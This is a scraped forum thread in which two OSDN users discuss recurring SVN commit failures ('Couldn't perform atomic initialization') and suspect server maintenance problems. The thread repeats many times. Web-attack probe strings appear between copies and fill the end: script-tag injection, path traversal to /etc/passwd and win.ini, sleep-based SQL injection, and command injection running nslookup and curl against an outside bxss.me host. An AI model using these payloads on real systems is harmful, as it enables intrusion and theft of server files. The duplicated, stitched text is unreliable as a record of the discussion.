About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
<!--
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/9000856
'"()&%<zzz><ScRiPt >vUlc(9694)</ScRiPt>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1EQHPKG65N90
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
response.write(9121205*9040126)
4sjDQ5XB
"+response.write(9121205*9040126)+"
I9fwyzzu: nEbMYlQ8
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
'+response.write(9121205*9040126)+'
../../../../../../../../../../../../../../etc/passwd
<esi:include src="http://bxss.me/rpb.png"/>
${10000231+10000076}
../../../../../../../../../../../../../../windows/win.ini
&n982848=v958348
../../../../../../../../../../../../../../../proc/version
file:///etc/passwd
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
'"()
../../../../../../../../../../etc/passwd%00.jpg
)
!(()&&!|*|*|
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
(#$!@#$)(()))******
/../..//../..//../..//../..//../..//etc/passwd%00.jpg
%2fetc%2fpasswd
'||sleep(27*1000)*nvigyu||'
"&&sleep(27*1000)*kusckz&&"
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
'&&sleep(27*1000)*eqlpgw&&'
/etc/passwd
Http://bxss.me/t/fit.txt
echo rmbcua$()\ bzgtaa\nzxyu||a #' &echo rmbcua$()\ bzgtaa\nzxyu||a #|" &echo rmbcua$()\ bzgtaa\nzxyu||a #
expr 9000378854 - 931455
'.gethostbyname(lc('hiteg'.'zhnhudci92629.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(67).chr(119).chr(79).'
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
|echo gzzxab$()\ vwwgww\nzxyu||a #' |echo gzzxab$()\ vwwgww\nzxyu||a #|" |echo gzzxab$()\ vwwgww\nzxyu||a #
c:/windows/win.ini
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
../../../../../../../../../../../../../../etc/shells
&echo nfqxbc$()\ axutns\nzxyu||a #' &echo nfqxbc$()\ axutns\nzxyu||a #|" &echo nfqxbc$()\ axutns\nzxyu||a #
"||sleep(27*1000)*tdqvpz||"
/.././.././.././.././.././.././.././../etc/./passwd%00
/etc/shells
".gethostbyname(lc("hitwx"."nzijecvyf1e14.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(72).chr(118).chr(72)."
../././../././../././../././../././../././../././../././../././../././etc/passwd
bxss.me
&nslookup -q=cname hitndwheevtgu4bb6b.bxss.me&'\"0&nslookup -q=cname hitndwheevtgu4bb6b.bxss.me&'
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
$(nslookup -q=cname hitilvyjirqyi09ee7.bxss.me||curl hitilvyjirqyi09ee7.bxss.me)
gethostbyname(lc('hitwk'.'pkgpwyri7a7be.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(73).chr(113).chr(66)
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
